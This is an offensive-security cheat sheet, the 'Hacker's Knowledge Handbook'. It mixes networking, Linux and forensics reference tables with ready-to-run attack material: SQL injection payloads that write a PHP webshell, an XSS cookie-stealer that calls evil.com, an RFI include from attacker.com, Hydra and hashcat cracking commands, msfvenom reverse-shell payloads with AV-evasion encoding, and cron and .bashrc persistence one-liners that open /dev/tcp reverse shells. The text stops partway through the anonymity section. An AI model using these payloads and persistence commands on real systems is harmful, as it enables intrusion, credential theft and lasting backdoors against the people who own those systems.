HACKER'S KNOWLEDGE HANDBOOK

Complete Foundational Knowledge Every Hacker Must Master

Networking | Linux | Programming | Web | Crypto | Recon

Exploitation | Forensics | Anonymity | Mindset | Tools

v1.0 | 2025 Edition

"The quieter you become, the more you are able to hear." — Kali Linux motto

00 TABLE OF CONTENTS

01 **NETWORKING FUNDAMENTALS** .....
OSI, TCP/IP, Protocols, Ports, Subnetting

02 **LINUX MASTERY** .....
Commands, Filesystem, Permissions, Processes

03 **PROGRAMMING FOR HACKERS** .....
Python, Bash, Regex, Scripting basics

04 **WEB TECHNOLOGIES** .....
HTTP, HTML/JS, Cookies, APIs, Headers

05 **RECONNAISSANCE** .....
OSINT, DNS, Scanning, Footprinting

06 **NETWORK ATTACKS** .....
Sniffing, MitM, ARP, DNS Spoofing, Scanning

07 **WEB EXPLOITATION** .....
SQLi, XSS, LFI, SSRF, Auth Bypass

08 **CRYPTOGRAPHY** .....
Ciphers, Hashing, PKI, TLS, Encoding

09 **PASSWORD ATTACKS** .....
Brute Force, Wordlists, Hashcat, Rules

10 **EXPLOITATION BASICS** .....
Buffers, Shellcode, CVEs, Metasploit

11 **POST-EXPLOITATION** .....
Persistence, PrivEsc, Pivoting, Loot

12 **DIGITAL FORENSICS** .....
File analysis, Memory, Logs, Timeline

13 **ANONYMITY & OPSEC** .....
VPN, Tor, Proxies, Metadata, Footprint

14 **MALWARE BASICS** .....
Types, Analysis, Indicators, Defense

15 **HACKER MINDSET & ETHICS** .....
Methodology, CTF, Bug Bounty, Legal

16 **TOOLS MASTER REFERENCE** .....
Top 50 tools every hacker needs

01 NETWORKING FUNDAMENTALS

THE OSI MODEL — 7 LAYERS

7	APPLICATION	HTTP, FTP, SMTP, DNS, SSH — user-facing protocols
6	PRESENTATION	Encryption, encoding, compression — SSL/TLS
5	SESSION	Session management, RPC, NetBIOS
4	TRANSPORT	TCP (reliable) / UDP (fast) — ports live here
3	NETWORK	IP addressing, routing — routers operate here
2	DATA LINK	MAC addresses, switches, ARP, Ethernet frames
1	PHYSICAL	Cables, radio waves, bits on wire

TCP/IP SUITE & KEY PROTOCOLS

TCP	Connection-oriented, reliable, handshake (SYN/SYN-ACK/ACK)
UDP	Connectionless, fast, no guarantee — DNS, DHCP, streaming
IP	Logical addressing, routing between networks (IPv4/IPv6)
ICMP	Ping, traceroute, error messages — no ports
ARP	Maps IP to MAC within local network — poisonable
DNS	Resolves domain names to IPs — port 53 UDP/TCP
DHCP	Auto-assigns IP, gateway, DNS — port 67/68 UDP
HTTP/S	Web traffic — port 80 (HTTP) / 443 (HTTPS/TLS)
FTP	File transfer — port 21 (ctrl) / 20 (data) / 990 (FTPS)
SSH	Encrypted remote shell — port 22
SMTP	Email sending — port 25/587/465
IMAP/POP	Email receiving — IMAP:143/993, POP3:110/995
SMB	Windows file sharing — port 445 / 139
RDP	Remote Desktop Protocol — port 3389
SNMP	Network device management — port 161/162 UDP

MUST-KNOW PORT NUMBERS

21	FTP	443	HTTPS
22	SSH	445	SMB
23	Telnet (unencrypted!)	1433	MSSQL
25	SMTP	1521	Oracle DB
53	DNS	3306	MySQL
80	HTTP	3389	RDP
110	POP3	5432	PostgreSQL
135	RPC / MSRPC	5900	VNC
139	NetBIOS	6379	Redis
143	IMAP	8080	Alt HTTP / proxy

SUBNETTING QUICK REFERENCE

/8 (255.0.0.0)	16,777,214 hosts	—	Class A
/16 (255.255.0.0)	65,534 hosts	—	Class B
/24 (255.255.255.0)	254 hosts	—	most common LAN
/25 (255.255.255.128)	126 hosts	—	half a /24
/30 (255.255.255.252)	2 hosts	—	point-to-point links
/32	Single host	—	loopback, host routes

PRIVATE & SPECIAL IP RANGES

10.0.0.0/8	Private — Class A
172.16.0.0/12	Private — Class B
192.168.0.0/16	Private — Class C (home/office)
127.0.0.0/8	Loopback — localhost
169.254.0.0/16	APIPA — no DHCP response
224.0.0.0/4	Multicast
255.255.255.255	Broadcast
::1	IPv6 loopback
fe80::/10	IPv6 link-local

02 LINUX MASTERY

FILESYSTEM HIERARCHY

/	Root — top of everything
/bin	Essential user binaries (ls, cat, cp...)
/sbin	System binaries (ifconfig, iptables...)
/etc	Config files — /etc/passwd, /etc/shadow, /etc/hosts
/home	User home directories
/root	Root user's home
/tmp	Temporary files — world writable, cleared on reboot
/var	Variable data — logs in /var/log, web in /var/www
/usr	User programs — /usr/bin, /usr/lib, /usr/share
/proc	Virtual FS — running process info, /proc/self
/dev	Device files — /dev/null, /dev/tty, /dev/sda
/opt	Optional software packages
/lib	Shared libraries for /bin and /sbin
/mnt /media	Mount points for drives and removable media

ESSENTIAL COMMANDS

```
# Navigation
pwd                    # Print working directory
ls -la                 # List all with permissions
cd /path/to/dir        # Change directory
find / -name 'file'    # Find file everywhere
locate filename        # Fast find (uses db)
which python3          # Find binary location

# File Operations
cat file               # Print file
less file              # Scroll through file
head -n 20 file        # First 20 lines
tail -f /var/log/syslog # Follow log in real time
cp src dst             # Copy
mv src dst             # Move / rename
rm -rf dir/            # Remove recursively (careful!)
mkdir -p a/b/c         # Create nested dirs
ln -s target link      # Symbolic link

# Text Processing
grep -r 'pattern' .    # Recursive search
grep -i -E 'regex' file # Case-insensitive regex
sed 's/old/new/g' file # Replace text
awk '{print $2}' file  # Print column 2
cut -d: -f1 /etc/passwd # Cut by delimiter
sort -u file           # Sort unique
uniq -c file           # Count occurrences
wc -l file             # Count lines
tr 'a-z' 'A-Z'        # Translate chars
```

PERMISSIONS & USERS

chmod 755 file	rwxr-xr-x — owner full, others read+exec
chmod 644 file	rw-r--r-- — owner rw, others read only
chmod +x file	Add execute for all
chown user:grp f	Change owner and group
sudo command	Run as root
sudo -l	List sudo privileges — KEY for privesc
su - user	Switch user
passwd user	Change password
id	Show current user/groups
whoami	Current username
groups	Groups current user belongs to
adduser name	Add new user
usermod -aG grp u	Add user to group

PROCESS & SYSTEM MANAGEMENT

```
ps aux                  # All running processes
ps aux | grep apache    # Filter processes
top / htop              # Interactive process viewer
kill -9 PID             # Force kill process
pkill processname       # Kill by name
jobs                    # Background jobs
fg %1                   # Bring job to foreground
bg %1                   # Send to background
nohup cmd &             # Run immune to hangup
screen / tmux           # Persistent terminal sessions

# System Info
uname -a                # Kernel version (check for exploits)
hostname                # System hostname
uptime                  # System uptime
df -h                   # Disk space usage
du -sh /dir             # Directory size
free -h                 # RAM usage
lscpu                   # CPU info
lsblk                   # Block devices
dmesg | tail            # Kernel messages
cat /etc/os-release     # OS version
cat /proc/version       # Kernel + compiler
env                     # Environment variables
history                 # Command history (!n runs nth cmd)
```

NETWORKING COMMANDS

```
ip a                    # Network interfaces & IPs
ip route                # Routing table
ip neigh                # ARP cache
ss -tulnp               # Open ports + listening services
netstat -tulnp          # Same (older systems)
ping -c 4 host          # ICMP connectivity test
traceroute host         # Trace hops to host
curl -I http://site     # HTTP headers
wget http://site/file   # Download file
nc -lvnp 4444           # Netcat listener
ssh user@host           # SSH connection
scp file user@host:/path # Secure copy
iptables -L -n          # Firewall rules
nmap -sV host           # Port scan
dig domain              # DNS lookup
host domain             # DNS lookup (simple)
```

PIPES, REDIRECTS & TRICKS

cmd | cmd2	Pipe stdout to stdin of cmd2
cmd > file	Redirect stdout to file (overwrite)
cmd >> file	Append stdout to file
cmd 2>&1	Redirect stderr to stdout
cmd &	Run in background
cmd1 && cmd2	Run cmd2 only if cmd1 succeeds
cmd1 || cmd2	Run cmd2 only if cmd1 fails
$(cmd)	Command substitution — use output as arg
xargs	Build commands from stdin
tee file	Write to file AND stdout simultaneously
{} in find	Placeholder for found file
ctrl+r	Reverse history search
!!	Repeat last command
!$	Last argument of previous command

SPECIAL FILES HACKERS KNOW

/etc/passwd	User accounts (world readable)
/etc/shadow	Hashed passwords (root only)

03 PROGRAMMING FOR HACKERS

PYTHON — THE HACKER'S LANGUAGE

```python
# Socket — raw network connection
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.1', 80))
s.send(b'GET / HTTP/1.0\r\n\r\n')
print(s.recv(4096).decode())

# HTTP requests
import requests
r = requests.get('http://target.com', proxies={'http':'http://127.0.0.1:8080'})
r = requests.post('http://target.com/login', data={'user':'admin','pass':'x'})
print(r.status_code, r.headers, r.text)

# XOR brute force
ct = bytes.fromhex('deadbeefcafe')
for key in range(256):
    pt = bytes([b ^ key for b in ct])
    if b'FLAG' in pt or b'CTF' in pt:
        print(f'Key={key}:', pt)

# Run system command & capture output
import subprocess
out = subprocess.check_output(['ls','-la'], text=True)
print(out)

# Read/write binary files
data = open('file.bin','rb').read()
open('out.bin','wb').write(data)

# Base64
import base64
enc = base64.b64encode(b'hello world')
dec = base64.b64decode('aGVsbG8gd29ybGQ=')

# Hash
import hashlib
print(hashlib.md5(b'password').hexdigest())
print(hashlib.sha256(b'data').hexdigest())
```

BASH SCRIPTING ESSENTIALS

```bash
#!/bin/bash
# Variables
NAME='world'
echo "Hello $NAME"

# Loops
for i in {1..254}; do ping -c1 192.168.1.$i &>/dev/null && echo "$i UP"; done
while read line; do echo $line; done < file.txt

# Conditionals
if [ -f /etc/passwd ]; then cat /etc/passwd; fi
[ $? -eq 0 ] && echo success || echo fail

# Functions
scan() { nmap -sV $1 -oN scan_$1.txt; }
scan 10.10.10.1

# Read command output
IPS=$(nmap -sn 192.168.1.0/24 | grep 'report' | awk '{print $5}')
for ip in $IPS; do echo "Found: $ip"; done
```

REGEX — PATTERN MATCHING POWER

`.`	Any single character
`*`	0 or more of preceding

04 WEB TECHNOLOGIES

HTTP — THE HACKER'S PLAYGROUND

GET	Retrieve resource — params in URL
POST	Send data in body — forms, JSON APIs
PUT	Create/replace resource
DELETE	Remove resource
PATCH	Partial update
OPTIONS	Show allowed methods (CORS preflight)
HEAD	GET without body — useful for recon
TRACE	Echo request — XST attack vector

IMPORTANT HTTP HEADERS

Host	Target domain — manipulate for vhost/SSRF
Authorization	Bearer TOKEN / Basic base64(user:pass)
Cookie	Session tokens — steal for session hijack
Set-Cookie	Server sets cookie — look for HttpOnly, Secure flags
X-Forwarded-For	Client IP spoofing — bypass IP restrictions
Content-Type	application/json, multipart/form-data...
User-Agent	Identify client — spoof for WAF bypass
Referer	Where request came from — CSRF related
Origin	CORS — cross-origin requests
X-Frame-Options	Clickjacking protection (or lack of)
CSP	Content-Security-Policy — XSS mitigation
Server	Web server + version (fingerprinting)
X-Powered-By	Backend tech disclosure
Location	Redirect target — open redirect possible
WWW-Authenticate	Basic/Digest auth challenge

HTTP STATUS CODES HACKERS CARE ABOUT

200 OK	Success — content returned
201 Created	Resource created (POST/PUT)
301/302	Redirect — follow to find hidden content
400 Bad Request	Malformed request
401 Unauthorized	Auth required
403 Forbidden	Auth not sufficient — try bypass
404 Not Found	Resource missing — useful for enum
405 Method Not Allowed	Try different HTTP method
429 Too Many Requests	Rate limiting — slow down or rotate
500 Internal Server Error	App crashed — possible injection
502/503	Upstream error — app may be vulnerable

COOKIES & SESSIONS

HttpOnly	Cookie not accessible via JavaScript — stops XSS theft
Secure	Cookie only sent over HTTPS
SameSite	CSRF protection — Strict/Lax/None
Path=/	Cookie sent for all paths
Expires	Persistent cookie — stays after browser close
Domain	Which domains get the cookie

URL ENCODING REFERENCE

Space	%20 or +
'	%27
"	%22
<	%3C
>	%3E
=	%3D
&	%26
#	%23
/	%2F
\	%5C

05 RECONNAISSANCE

PASSIVE RECON — NO DIRECT CONTACT

WHOIS	whois target.com — registrar, admin contact, dates
DNS Records	dig target.com ANY — A, MX, NS, TXT, CNAME, SOA
Zone Transfer	dig axfr @ns1.target.com target.com — dumps all DNS
crt.sh	https://crt.sh/?q=%.target.com — certificate transparency
Shodan	shodan search org:target — internet-exposed assets
Censys	search.censys.io — TLS cert / host search
Google Dorks	site: filetype: inurl: intitle: intext: — GCHQ power
Archive.org	web.archive.org — old pages, hidden content
LinkedIn/OSINT	Job postings reveal tech stack, team members
theHarvester	theHarvester -d target.com -b google,bing,linkedin
Recon-ng	Framework: recon-ng -w workspace — OSINT modules
Maltego	Visual link analysis — entity relationships

ACTIVE RECON — NMAP

```
# Host Discovery
nmap -sn 192.168.1.0/24          # Ping sweep (no port scan)

# Port Scanning
nmap -sS -T4 target              # Stealth SYN scan (default)
nmap -sT target                  # TCP connect (no root needed)
nmap -sU --top-ports 100 target  # UDP top 100 ports
nmap -p- target                  # All 65535 ports
nmap -p 22,80,443,8080 target    # Specific ports

# Detection & Scripts
nmap -sV target                  # Service version detection
nmap -O target                   # OS detection
nmap -sC target                  # Default scripts
nmap -A target                   # All: OS+version+scripts+trace
nmap --script vuln target        # Vulnerability scripts
nmap --script smb-vuln* -p445 t  # SMB vulns
nmap --script http-enum -p80 t   # Web enumeration

# Evasion
nmap -f target                   # Fragment packets
nmap -D RND:10 target            # Decoy scan
nmap --source-port 53 target     # Spoof source port
nmap -T0 target                  # Paranoid timing (slowest)

# Output
nmap -oN out.txt target          # Normal format
nmap -oX out.xml target          # XML format
nmap -oA allformats target       # All formats
```

DNS ENUMERATION

```
dig target.com A              # IPv4 address
dig target.com AAAA           # IPv6 address
dig target.com MX             # Mail servers
dig target.com NS             # Nameservers
dig target.com TXT            # SPF, DKIM, verification tokens
dig target.com SOA            # Start of Authority
dig -x 1.2.3.4               # Reverse DNS lookup
nslookup target.com           # Interactive DNS query
dnsenum target.com            # Automated DNS enum + brute
subfinder -d target.com       # Subdomain discovery
amass enum -d target.com      # Comprehensive subdomain enum
gobuster dns -d target.com -w subdomains.txt   # DNS brute force
```

GOOGLE DORKS CHEATSHEET

site:target.com	All indexed pages on domain
site:target.com filetype:pdf	PDFs on target domain
site:target.com inurl:admin	Admin pages

06 NETWORK ATTACKS

ARP POISONING / MAN-IN-THE-MIDDLE

```
# Enable IP forwarding first
echo 1 > /proc/sys/net/ipv4/ip_forward

# ARP poison with arpspoof (dsniff)
arpspoof -i eth0 -t victim_ip gateway_ip
arpspoof -i eth0 -t gateway_ip victim_ip

# Bettercap — modern MitM framework
bettercap -iface eth0
net.probe on
set arp.spoof.targets 192.168.1.5
arp.spoof on
net.sniff on

# ettercap (GUI or CLI)
ettercap -T -M arp:remote /victim// /gateway//
```

SNIFFING & TRAFFIC CAPTURE

```
# tcpdump
tcpdump -i eth0 -w capture.pcap
tcpdump -i eth0 port 80 -A              # HTTP in ASCII
tcpdump -i eth0 'host 192.168.1.5'
tcpdump -i eth0 'tcp and port 21'         # FTP
tcpdump -r capture.pcap -A | grep -i pass

# Wireshark filters
http.request.method == 'POST'
http contains 'password'
ftp-data
frame contains 'CTF{'
tcp.stream eq 0

# dsniff suite
dsniff -i eth0                            # Sniff passwords
urlsnarf -i eth0                          # Capture URLs
mailsnarf -i eth0                         # Email traffic
webspy -i eth0 victim_ip                  # Mirror browsing
```

DNS ATTACKS

DNS Spoofing	Poison cache: map domain to attacker IP
DNS Zone Xfer	dig axfr @ns.target.com target.com — get all records
DNS Tunneling	Exfil data via DNS queries — iodine, dnscat2
Subdomain Enum	Brute force: dnsx, subfinder, amass, gobuster dns
DNSSEC bypass	Target domains without DNSSEC validation
Fast Flux	Rapidly changing DNS A records — evade blacklists

WIRELESS ATTACKS (802.11)

```
# Monitor mode
airmon-ng start wlan0
iw dev wlan0 set type monitor

# Capture WPA handshake
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
aireplay-ng -0 5 -a AP_MAC -c CLIENT_MAC wlan0mon   # Deauth

# Crack WPA handshake
aircrack-ng -w rockyou.txt capture-01.cap
hashcat -m 22000 handshake.hccapx rockyou.txt

# WPS attack
reaver -i wlan0mon -b AP_MAC -vv
```

07 WEB EXPLOITATION

SQL INJECTION FUNDAMENTALS

```
# Detection — inject into any input
' OR '1'='1
' OR 1=1--
admin'--
' OR 1=1#
1' AND SLEEP(5)--   (blind time-based)

# UNION-based extraction
' ORDER BY 3--                          # Find column count
' UNION SELECT NULL,NULL,NULL--         # Match columns
' UNION SELECT 1,database(),version()--  # Get DB info
' UNION SELECT 1,table_name,3 FROM information_schema.tables--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,concat(username,':',password),3 FROM users--

# Read file (MySQL root)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--

# Write webshell
' UNION SELECT '<?php system($_GET[cmd]);?>',NULL INTO OUTFILE '/var/www/html/sh.php'--

# sqlmap automation
sqlmap -u 'http://target/?id=1' --dbs
sqlmap -r request.txt --level=5 --risk=3 --dump
sqlmap -u 'http://target/?id=1' --os-shell
```

XSS — CROSS-SITE SCRIPTING

Reflected	Payload in URL — victim clicks crafted link
Stored	Payload saved in DB — executes for every viewer
DOM-based	Client-side JS modifies DOM with attacker data
Payload	`<script>alert(1)</script>`
Img onerror	`<img src=x onerror=alert(1)>`
SVG	`<svg onload=alert(document.cookie)>`
Cookie steal	`<script>fetch('http://evil.com?c='+document.cookie)</script>`
Filter bypass	`<ScRiPt>alert(1)</ScRiPt>` or `<script>alert`1`</script>`
DOM sink	innerHTML, document.write, eval() — dangerous JS sinks

LFI / PATH TRAVERSAL / RFI

```
?page=../../../../etc/passwd
?file=....//....//etc/passwd
?lang=php://filter/convert.base64-encode/resource=index.php
?page=/var/log/apache2/access.log  (log poisoning via User-Agent)
?file=php://input   (POST body executed as PHP)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+

# RFI — include remote file (needs allow_url_include=On)
?page=http://attacker.com/shell.txt
```

OTHER KEY WEB ATTACKS

SSRF	url=http://127.0.0.1:8080/admin — hit internal services
XXE	`<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`
IDOR	Change id=1 to id=2 — access other users' data
CSRF	Forged request using victim's session — check token absent
JWT None alg	Change alg to none, remove signature — gain admin
Open Redirect	?next=http://evil.com — steal OAuth tokens
Clickjacking	iframe + X-Frame-Options missing — trick clicks
SSTI	{{7*7}} / ${7*7} — template injection leads to RCE
Deserialization	Manipulate serialized objects — often leads to RCE
File Upload	Upload .php as .jpg — bypass content-type check
Race Condition	Parallel requests — double-spend, bypass rate limits
HTTP Smuggling	CL.TE / TE.CL — desync front/backend request parsing

08 CRYPTOGRAPHY

SYMMETRIC ENCRYPTION

AES-128/256	Block cipher — most common. ECB is broken, use GCM/CBC
AES-ECB	Identical blocks → identical ciphertext — block swap attack
AES-CBC	XOR with prev block. IV crucial. Padding oracle attacks.
AES-CTR/GCM	Stream mode. Nonce reuse is catastrophic.
DES/3DES	Legacy — DES broken, 3DES weak. Avoid.
ChaCha20	Stream cipher — TLS 1.3, fast on mobile
XOR cipher	Trivially broken with known plaintext or short key
RC4	Stream cipher — deprecated, WEP used it (broken)

ASYMMETRIC / PUBLIC KEY CRYPTO

RSA	n=p*q, public e, private d. Weak if small n, e=3, bad padding
RSA encrypt	c = m^e mod n
RSA decrypt	m = c^d mod n
p*q=n	If n is small: factordb.com or sympy.factorint(n)
ECC	Elliptic Curve — smaller keys, same security as RSA
DH	Diffie-Hellman key exchange — weak if small prime group
ECDH	Elliptic Curve DH — TLS 1.3 default
DSA/ECDSA	Digital signatures. k reuse = private key leak

HASHING ALGORITHMS

MD5	128-bit / 32 hex — broken, collision attacks exist
SHA1	160-bit / 40 hex — deprecated, SHAttered collision
SHA256	256-bit / 64 hex — secure, widely used
SHA512	512-bit / 128 hex — very secure
bcrypt	Adaptive, slow — best for passwords. $2a/$2b/$2y
NTLM	Windows password hash — 32 hex — pass-the-hash possible
MD5crypt	1 prefix — Linux older systems
SHA512crypt	6 prefix — Linux modern systems
PBKDF2	Password-based key derivation — used in WPA, iOS
Argon2	Modern winner — memory-hard, best for passwords

ENCODING (NOT ENCRYPTION)

Base64	A-Za-z0-9+/= — echo 'x' | base64 / base64 -d
Base32	A-Z2-7= — uppercase only, longer output
Hex	0-9a-f — xxd / python bytes.hex()
URL	%XX encoding — urllib.parse.unquote()
HTML	< > & — html.unescape()
ROT13	Caesar shift 13 — echo 'text' | tr A-Za-z N-ZA-Mn-za-m
Morse	.- --- .-. ... . — dots and dashes
Binary	01000001 = 'A' — 8 bits per char

TLS / HTTPS INTERNALS

TLS 1.3	Modern standard — only secure ciphers, 0-RTT
TLS 1.2	Still common — some weak cipher suites
SSL (1/2/3)	All broken — POODLE, BEAST, DROWN
Certificate	X.509 — chain: Root CA → Intermediate → Server cert
SNI	Server Name Indication — virtual hosting with TLS
HSTS	HTTP Strict Transport Security — force HTTPS
Certificate Pinning	App hardcoded cert hash — bypass with Frida/objection
STARTTLS	Upgrade plain connection to TLS — SMTP/IMAP

09 PASSWORD ATTACKS

ATTACK TYPES

Dictionary	Try words from a wordlist — rockyou.txt most common
Brute Force	Try all combinations — slow for long passwords
Rule-based	Mutate wordlist: capitalize, add numbers, leet speak
Mask attack	Pattern-based: ?u?l?l?l?d?d = Abcd12
Hybrid	Wordlist + mask: password123, password!
Credential Stuffing	Leaked cred pairs from other breaches
Pass-the-Hash	Use NTLM hash directly without cracking — Windows
Pass-the-Ticket	Kerberos ticket reuse — Windows AD
Rainbow Table	Precomputed hash→plaintext lookup (stopped by salt)
Phishing	Trick user into entering credentials on fake page

HASHCAT — OFFLINE CRACKING

```
# Hash modes (-m)
# 0=MD5  100=SHA1  1000=NTLM  1800=sha512crypt  3200=bcrypt
# 5600=NetNTLMv2  13100=Kerberoast  22000=WPA2

# Dictionary attack
hashcat -m 0 hashes.txt rockyou.txt

# Rules attack
hashcat -m 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack (8 char: upper+lower+digit)
hashcat -m 0 hashes.txt -a 3 ?u?l?l?l?d?d?d?d

# Combination attack
hashcat -m 0 hashes.txt -a 1 words1.txt words2.txt

# Show cracked
hashcat -m 0 hashes.txt --show

# Custom charset
hashcat -m 0 hashes.txt -a 3 -1 '?l?d' ?1?1?1?1?1?1?1?1
```

JOHN THE RIPPER

```
john --wordlist=rockyou.txt hashes.txt
john --format=raw-md5 hashes.txt
john --format=bcrypt hashes.txt --wordlist=rockyou.txt
john --show hashes.txt                  # Show cracked

# Convert to john format first
ssh2john id_rsa > ssh.hash
zip2john protected.zip > zip.hash
pdf2john protected.pdf > pdf.hash
keepass2john database.kdbx > kp.hash
```

HYDRA — ONLINE BRUTE FORCE

```
hydra -l admin -P rockyou.txt ssh://10.10.10.1
hydra -L users.txt -P rockyou.txt ftp://10.10.10.1
hydra -l admin -P rockyou.txt http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'
hydra -l admin -P rockyou.txt http-get://10.10.10.1/admin
hydra -l admin -P rockyou.txt rdp://10.10.10.1
hydra -l admin -P rockyou.txt smb://10.10.10.1
hydra -l admin -P rockyou.txt -s 8080 http-post-form '/auth:...'
```

KEY WORDLISTS

rockyou.txt	/usr/share/wordlists/rockyou.txt (14M passwords)
SecLists	/usr/share/seclists/ — comprehensive collection
Passwords/Common	Top 1000, 10000 common passwords
Fuzzing/	Web fuzzing payloads
Discovery/Web-Content	common.txt, raft-medium, big.txt

10 EXPLOITATION BASICS

METASPLOIT FRAMEWORK

```
msfconsole -q                        # Launch (quiet)
msfdb init                           # Initialize database
db_nmap -sV -p- 10.10.10.1           # Nmap into DB
search eternalblue                   # Search modules
use exploit/windows/smb/ms17_010_eternalblue
info                                 # Module details
show options                         # Required settings
set RHOSTS 10.10.10.1
set LHOST 10.10.14.1
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# Meterpreter commands
sysinfo / getuid / getpid
hashdump                             # Dump Windows hashes
getsystem                            # Privilege escalation
upload file.exe C:\\Temp\\
download C:\\passwords.txt
shell                                # Drop to OS shell
background  /  sessions -l  /  sessions -i 1
run post/multi/recon/local_exploit_suggester
```

MSFVENOM — PAYLOAD GENERATION

```
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o sh..

# Linux ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o shel..

# PHP webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.php

# Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.1 LPORT=4444 -f raw

# Encode (bypass basic AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... -e x86/shikata_ga_nai -i 10 -f..

# List payloads
msfvenom -l payloads | grep linux
```

BINARY MITIGATIONS TO KNOW

ASLR	Randomizes memory layout — find leaks to bypass
PIE	Position Independent Executable — binary base random
NX/DEP	Stack not executable — must use ROP chains
Stack Canary	Random value guards return address — must leak it
RELRO Full	GOT read-only — can't overwrite function pointers
CFI	Control Flow Integrity — limits indirect jumps
ASLR bypass	Partial overwrite, info leak, heap spray, ret2libc
checksec	checksec --file=binary — check all protections

CVE & VULNERABILITY RESEARCH

```
searchsploit apache 2.4          # Search Exploit-DB offline
searchsploit -m 42341            # Copy exploit to current dir
searchsploit -u                  # Update database

# Online resources
# https://www.exploit-db.com/
# https://nvd.nist.gov/          — National Vulnerability DB
# https://cvedetails.com/
# https://packetstormsecurity.com/
# https://github.com/            — PoC repos
```

11 POST-EXPLOITATION

SITUATIONAL AWARENESS — LINUX

```
id && whoami && hostname
uname -a && cat /etc/os-release
ip a && ip route && ip neigh
ss -tulnp
ps aux
cat /etc/passwd | grep -v nologin
sudo -l                                  # CRITICAL
find / -perm -4000 -type f 2>/dev/null   # SUID
find / -writable -not -path '/proc/*' -type f 2>/dev/null
cat /etc/crontab && crontab -l
env && cat ~/.bash_history
find / -name '*.conf' -readable 2>/dev/null
find / -name id_rsa -o -name '*.pem' 2>/dev/null
getcap -r / 2>/dev/null
```

SITUATIONAL AWARENESS — WINDOWS

```
whoami /all                              # User + privileges
net user && net localgroup administrators
systeminfo                               # OS, patches
ipconfig /all
netstat -ano
tasklist /SVC
wmic service list brief
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
schtasks /query /fo LIST /v
dir /s /b *pass* *cred* *secret* 2>nul
findstr /si password *.txt *.ini *.config *.xml
powershell Get-WmiObject Win32_ComputerSystem
```

LINUX PRIVILEGE ESCALATION PATHS

sudo -l	NOPASSWD commands → GTFOBins for escape technique
SUID files	find / -perm -4000 → GTFOBins: vim, python, bash, cp
Cron jobs	Writable script run by root cron → inject reverse shell
Capabilities	getcap -r / → python3 cap_setuid → os.setuid(0)
PATH hijack	Writable dir in $PATH → fake binary called by root script
Weak perms	/etc/shadow readable → crack → /etc/passwd writable → add root
Kernel exploit	uname -a → searchsploit → dirty cow, dirty pipe etc
Docker/LXC	In container? Mount host FS or use --privileged escape
NFS no_root_sq	Mount NFS share → create SUID binary on attacker → exec
Writable /etc/passwd	openssl passwd -1 pass → append r00t:HASH:0:0:r:/root:/bin/bash

PERSISTENCE TECHNIQUES

SSH key	echo pubkey >> ~/.ssh/authorized_keys
Cron job	echo '* * * * * bash -i >& /dev/tcp/IP/P 0>&1' | crontab -
Bashrc hook	echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> ~/.bashrc
SUID bash	cp /bin/bash /tmp/bash && chmod +s /tmp/bash
Systemd service	Create /etc/systemd/system/backdoor.service
Windows Run key	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled task	schtasks /create /tn task /tr payload.exe /sc onlogon
DLL hijack	Drop malicious DLL in app search path

12 DIGITAL FORENSICS

FILE ANALYSIS FIRST STEPS

```
file mystery                 # Detect real type by magic bytes
xxd mystery | head -20       # Hex dump — check signature
strings mystery | less       # All printable strings
exiftool mystery             # Metadata (images, docs, etc)
binwalk mystery              # Embedded files / signatures
binwalk -e mystery           # Extract embedded data
foremost -i mystery -o out/  # File carving
stegseek mystery.jpg rockyou.txt   # Steghide brute force
zsteg mystery.png            # LSB and other PNG stego
```

MAGIC BYTES — FILE SIGNATURES

FF D8 FF	JPEG image
89 50 4E 47	PNG image
47 49 46	GIF image
25 50 44 46	PDF document
50 4B 03 04	ZIP / DOCX / XLSX / JAR
52 61 72 21	RAR archive
7F 45 4C 46	ELF Linux binary
4D 5A	MZ — Windows PE/EXE/DLL
1F 8B	GZIP compressed
42 5A 68	BZIP2 compressed
CA FE BA BE	Java class file
D0 CF 11 E0	MS Office (old .doc/.xls)
4F 67 67 53	OGG audio/video
52 49 46 46	WAV / AVI (RIFF format)

MEMORY FORENSICS — VOLATILITY 3

```
vol -f mem.dmp windows.info          # OS info / profile
vol -f mem.dmp windows.pslist        # Process list
vol -f mem.dmp windows.pstree        # Process tree
vol -f mem.dmp windows.cmdline       # Command lines
vol -f mem.dmp windows.netstat       # Network connections
vol -f mem.dmp windows.hashdump      # Password hashes
vol -f mem.dmp windows.filescan      # All files in memory
vol -f mem.dmp windows.dumpfiles --virtaddr 0xADDR
vol -f mem.dmp windows.registry.hivelist
strings -el mem.dmp | grep -i flag   # Unicode strings
strings mem.dmp | grep 'CTF{'
```

LOG ANALYSIS

/var/log/auth.log	SSH logins, sudo use, su attempts
/var/log/apache2/access.log	Web requests — look for attacks
/var/log/apache2/error.log	Web server errors
/var/log/syslog	General system events
/var/log/nginx/	Nginx access/error logs
Windows Event Logs	eventvwr.msc / Get-WinEvent
4624	Windows: Successful logon
4625	Windows: Failed logon
4672	Windows: Special privileges assigned
4688	Windows: New process created

TIMELINE & ARTIFACT ANALYSIS

```
# File timestamps (Linux)
stat file                            # atime, mtime, ctime
ls -la --time-style=full-iso         # Full timestamp
find / -newer reference_file 2>/dev/null  # Files newer than ref

# Autopsy — full disk forensics GUI
autopsy
```

13 ANONYMITY & OPERATIONAL SECURITY

TOR NETWORK

How Tor works	3 encrypted hops: Entry Guard → Middle → Exit node
